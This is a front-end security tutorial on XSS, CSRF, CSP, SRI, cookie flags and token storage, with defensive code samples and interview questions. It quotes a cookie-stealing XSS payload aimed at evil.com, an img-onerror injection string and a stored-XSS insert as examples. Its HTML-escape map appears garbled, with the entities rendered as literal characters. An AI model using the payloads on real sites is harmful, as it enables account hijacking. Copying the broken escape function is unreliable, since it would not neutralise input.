Front-End Security: XSS / CSRF / CSP / SRI Defense in Depth
Introduction
Should a frontend architect understand security? My answer is yes— not to be a security engineer, but to establish the baseline of “all user input is untrusted, all cross-origin needs validation”. Three reasons:
- **XSS / CSRF are OWASP Top 10 regulars.**One XSS vulnerability can let attackers take over any user account; one CSRF can make users unknowingly transfer money.
- Security lines are often bypassed for “dev efficiency”.
v-html/dangerouslySetInnerHTML/eval()are convenient, but 90% of security incidents come from “unexpected input” to these APIs. - **Architect’s security design determines the whole defense line.**How to configure CSP, validate SRI, set SameSite cookies, manage CORS whitelist — these are architecturaldecisions, not single-file patches.
This is post #5 of the Frontend Architecture Cultivation Path series. We skip cryptographic details (no AES internals), use attack cases + defense code + real incident postmortems to make XSS / CSRF / CSP / SRI / Cookie the five major topics concrete. The next post covers TypeScript advanced topics and type gymnastics.
1. XSS: Cross-Site Scripting Attacks
XSS is when attackers inject JS code into victim pages for execution. Three types, with very different attack surfaces.
1.1 The Three XSS Types
| Type | Attack vector | Blast radius | Fix difficulty |
|---|---|---|---|
| Stored XSS | Comments / avatars / usernames in DB | All visitors | Medium |
| Reflected XSS | Malicious query params in email / phishing links | Specific victims | Medium |
| DOM-based XSS | Frontend JS puts untrusted data into dangerous APIs | Specific victims | High(hard to spot) |
1.2 Reflected XSS Attack Case
GET /search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
If the server renders q directly back into the page(<p>Search results: <%= q %></p>), an attacker constructs this link and sends to victims; click it → JS executes → cookie sent to evil.com.
Fix: must escape / sanitize:
// ❌ Anti-pattern: render user input directly
res.send(`<p>Search results: ${req.query.q}</p>`);
// ✅ Recommended: HTML entity escape
function escapeHtml(s) {
return s.replace(/[&<>"']/g, (c) => ({
'&': '&', '<': '<', '>': '>', '"': '"', "'": '''
}[c]));
}
res.send(`<p>Search results: ${escapeHtml(req.query.q)}</p>`);
1.3 DOM-based XSS: Frontend-only and Invisible
// ❌ Classic anti-pattern
const hash = location.hash.slice(1);
document.querySelector('#greeting').innerHTML = `Hello, ${hash}!`;
// Attacker constructs /#<img src=x onerror="..."> → JS executes
// ✅ Recommended 1: textContent (doesn't parse HTML)
element.textContent = `Hello, ${hash}!`;
// ✅ Recommended 2: DOMPurify cleanup
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(`Hello, ${hash}!`);
Production case: an e-commerce search box used element.innerHTML = location.search; attackers constructed ?q=<img src=x onerror=alert(1)> to trigger directly. Fix: all user input rendering switched to textContent.
1.4 Stored XSS: The Comment Section Nightmare
-- Attacker submits comment
INSERT INTO comments (content) VALUES ('<script>steal_cookies()</script>');
-- Victim visits page
SELECT content FROM comments;
-- Server renders <script> tag into HTML → JS executes in victim browser
Three-piece fix:
- Sanitize before storage: DOMPurify / sanitize-html
- Escape before rendering: HTML escape all user input
- CSP fallback: even if escape is missed, CSP blocks inline script execution
// Storage-side sanitize (Node.js)
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize(userInput, { ALLOWED_TAGS: [] }); // strip all HTML
2. CSRF: Cross-Site Request Forgery
CSRF is when attackers trick victims into making unintended requests on sites they’re logged into— victim doesn’t know, server thinks it’s the user’s action.
2.1 Classic Attack Chain
2.2 Defense Quad-Set
# 1. SameSite Cookie (most important, 2020+ browsers default Lax)
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
# Strict: completely disallow cross-site requests to carry
# Lax: allow top-level navigation (GET links), disallow form POST / iframe / fetch
# None (old): allow all, must pair with Secure
# 2. CSRF Token
<form>
<input type="hidden" name="csrf_token" value="RANDOM_TOKEN_FROM_SERVER" />
</form>
# Server validates token matches session
# 3. Check Origin / Referer
if (req.headers.origin !== 'https://bank.com') {
return 403;
}
# 4. Require re-auth for critical operations
# Re-prompt password / 2FA before transfer / password change
Production case: SSO system enforced SameSite=Lax + Double Submit Cookie + Origin check triple-belt; CSRF reports dropped from dozens per month to zero.
2.3 SameSite Three Values
| SameSite | Cross-site GET link | Cross-site POST form | iframe / fetch |
|---|---|---|---|
Strict | ❌ doesn’t carry | ❌ doesn’t carry | ❌ doesn’t carry |
Lax (default) | ✅ carries | ❌ doesn’t carry | ❌ doesn’t carry |
None | ✅ carries | ✅ carries | ✅ carries |
Architect rule: OAuth third-party callback must use None + Secure(otherwise the redirect drops cookies), others use Lax.
3. CSP: Content Security Policy
CSP is the browser’s defense-in-depth mechanism— even if XSS has happened, it can still prevent malicious scripts from executing.
3.1 CSP Directives Cheat Sheet
Content-Security-Policy:
default-src 'self'; # default all resources same-origin
script-src 'self' 'nonce-RANDOM' https://cdn.x.com; # script source
style-src 'self' 'unsafe-inline'; # style source
img-src 'self' data: https:; # image source
connect-src 'self' https://api.x.com; # XHR / fetch
frame-ancestors 'none'; # clickjacking prevention
base-uri 'self'; # restrict <base> tag
form-action 'self'; # form submission target
object-src 'none'; # disable <object>/<embed>
3.2 Real Deployment: Nonce Mode
The most recommended modern approach— server generates a one-time nonce per response, inline scripts must carry that nonce to execute:
// Express middleware
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy',
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; ` +
`style-src 'self' 'unsafe-inline'; ` +
`img-src 'self' data: https:; ` +
`connect-src 'self'; ` +
`frame-ancestors 'none';`
);
next();
});
<script nonce="<%= nonce %>">
// This inline script can execute
window.config = { apiUrl: '/api' };
</script>
<!-- ❌ No nonce, will be blocked by CSP -->
<script>alert('blocked')</script>
Production case: after enabling CSP, an e-commerce site’s XSS attack success rate dropped from 60% to 0— even if attackers injected scripts, no nonce means they couldn’t run.
3.3 CSP Report-Only Mode (Observe Before Enforce)
# 1. Observe only, don't block
Content-Security-Policy-Report-Only: ...; report-uri /csp-report
# 2. Collect 1-2 weeks of reports, see which real resources get killed
# 3. Adjust whitelist, then switch to enforce mode
Content-Security-Policy: ...;
4. SRI: Subresource Integrity
Problem: what if JS / CSS on a CDN gets tampered with? SRI solves it: browser validates hash before loading.
<!-- 1. Server generates hash when publishing -->
<script src="https://cdn.x.com/lib.js"
integrity="sha384-HASH_OF_LIB_JS"
crossorigin="anonymous"></script>
<!-- 2. Browser validates before loading -->
<!-- If hash doesn't match → refuse to execute -->
Production rules:
- Third-party libraries(jQuery / Vue / React) must have SRI
- Self-hosted resourcesgo through your CDN / hashed build artifacts; adding SRI is even safer
Note: SRI requires crossorigin="anonymous", otherwise cross-origin resources can’t be validated.
5. Cookie Security Three-Piece Set
Set-Cookie: session=abc123;
HttpOnly; # JS can't read (document.cookie can't get it), anti-XSS steal
Secure; # HTTPS only
SameSite=Lax; # anti-CSRF
Path=/; # scope control
Domain=example.com; # scope control
Max-Age=3600; # 1 hour expiry
Architect rules:
| Scenario | Configuration |
|---|---|
| Session Cookie | HttpOnly + Secure + SameSite=Lax + Max-Age=session |
| OAuth callback Cookie | HttpOnly + Secure + SameSite=None + Max-Age=600 |
| Analytics / tracking Cookie | Don’t set HttpOnly(JS needs to read) + SameSite=Lax + Max-Age=365*24*3600 |
| Cross-subdomain shared Session | Domain=.example.com |
6. Token Storage Strategy: localStorage vs Cookie vs Memory
Where to store JWT / access tokens, architects must decide:
| Storage | XSS risk | CSRF risk | Recommended scenario |
|---|---|---|---|
localStorage | High(JS readable, XSS one-line steal) | Low (not auto-sent) | ❌ Not recommended |
sessionStorage | High | Low | Short sessions, non-sensitive |
| HttpOnly Cookie | Low | High (auto-sent) | Recommended, pair with SameSite for CSRF |
| Memory (variable) | Zero(lost on refresh) | Zero | Short sessions + high sensitivity |
Architect decision: JWT default storage is HttpOnly Cookie + SameSite=Lax. localStorage only when: ① third-party SDK requires JS read ② XSS attack surface already closed (strict CSP).
7. Dependency Security: npm audit / Snyk / Lock Files
# 1. Regular scans
npm audit --production
npx snyk test
# 2. CI/CD integration
- name: Security audit
run: npm audit --audit-level=high
# 3. Lock dependency versions
package-lock.json tracked in git
package.json doesn't write "latest", write specific versions
Production case: an admin backend used an outdated lodash, got supply-chain attack with malicious code injected. Fix: npm audit + Dependabot auto-PR upgrades + CI blocks high severity.
8. Pitfall Reminders (Senior Architects Please Read Carefully)
- **
v-html/dangerouslySetInnerHTMLare not “dev tools”, they’re XSS fuses.**Every use must sanitize. Rule: iftextContentworks, don’t useinnerHTML. - **Don’t trust “front-end escape is enough”.**User input should be escaped at storage-side + render-side + DOM-operation-side. Miss any one and there’s risk.
- Don’t put CSRF Token in URL.
/api?token=xxxleaks through Referer header to third parties. Must go in Header or POST body. - Don’t disable CSP in production.”CSP is too strict and breaks functionality” is an excuse — first Report-Only for 1 week, then enforce.
- **Don’t conflate “front-end security” and “back-end security”.**Front-end can do: XSS defense / CSP / SameSite Cookie / SRI. Real authentication, permission verification, sensitive operations must be done server-side.
Summary
Eight key facts that thread front-end security together:
- XSS three types: Stored (DB injection) / Reflected (URL injection) / DOM-based (frontend JS), each with different defenses.
- escape + sanitize+ CSP fallback is the XSS defense trio.
- CSRF defense: SameSite Cookie + CSRF Token + Origin check + critical op re-auth.
- CSP nonce modeis the modern most-recommended defense-in-depth approach.
- SRIvalidates CDN resource integrity, prevents supply-chain attacks.
- Cookie three-piece set:
HttpOnly + Secure + SameSite, OAuth usesNone + Secure. - Token stored in HttpOnly Cookie, not localStorage.
- Dependency scanning(npm audit) + lock files, prevents supply-chain attacks.
Next post: TypeScript advanced — type gymnastics and project practice, ERP / FinUI / Electron TypeScript experience summary.
5 Key Interview Question Tracks
This section maps one-to-one with the article. Q1 ships with a complete answer as a model; the other four are for you to think through — each one is followed by an AI assistant button for a one-click detailed answer.
Q1 (Answer): What’s the difference between the three XSS types? How do you defend each?
A: Stored XSS: malicious code enters the database (comments / avatars / usernames), affects all visitors; defense is sanitize before storage+ escape before render + CSP. Reflected XSS: malicious code is in URL parameters, requires tricking victim into clicking; defense is escape before renderof all user input + CSP. DOM-based XSS: pure frontend JS puts untrusted data into
innerHTML/eval/document.write, never touches server; defense is **switch totextContent**or DOMPurify sanitize. Interview tip: cite “renderinglocation.hashviainnerHTML” as the classic counter-example.Q2 (Think): What’s the CSRF attack chain? How do you choose between the three SameSite values? Why must OAuth third-party callbacks use None?
Q3 (Think): How do you implement CSP nonce mode? Why is report-only mode a necessary pre-launch step?
Q4 (Think): What are the risks of storing JWT tokens in localStorage vs HttpOnly Cookie? How did you choose in your SSO project?
Q5 (Think): When designing security defense for admin / SSO projects, how do you prioritize and make trade-offs? How do CSP / SRI / SameSite / XSS defense combine?
💡 Each question has an AI assistant button — one click gets you a detailed answer.
References
- OWASP Top 10 (2021) — authoritative web security risk list
- MDN: Content Security Policy (CSP) — complete CSP reference
- MDN: SameSite cookies — SameSite three values explained
- MDN: Subresource Integrity (SRI) — complete SRI reference
- DOMPurify — mainstream XSS sanitization library
- web.dev: CSP Hash / Nonce — Google’s team practical guide to CSP nonce
- PortSwigger: XSS Cheat Sheet — complete XSS attack vector collection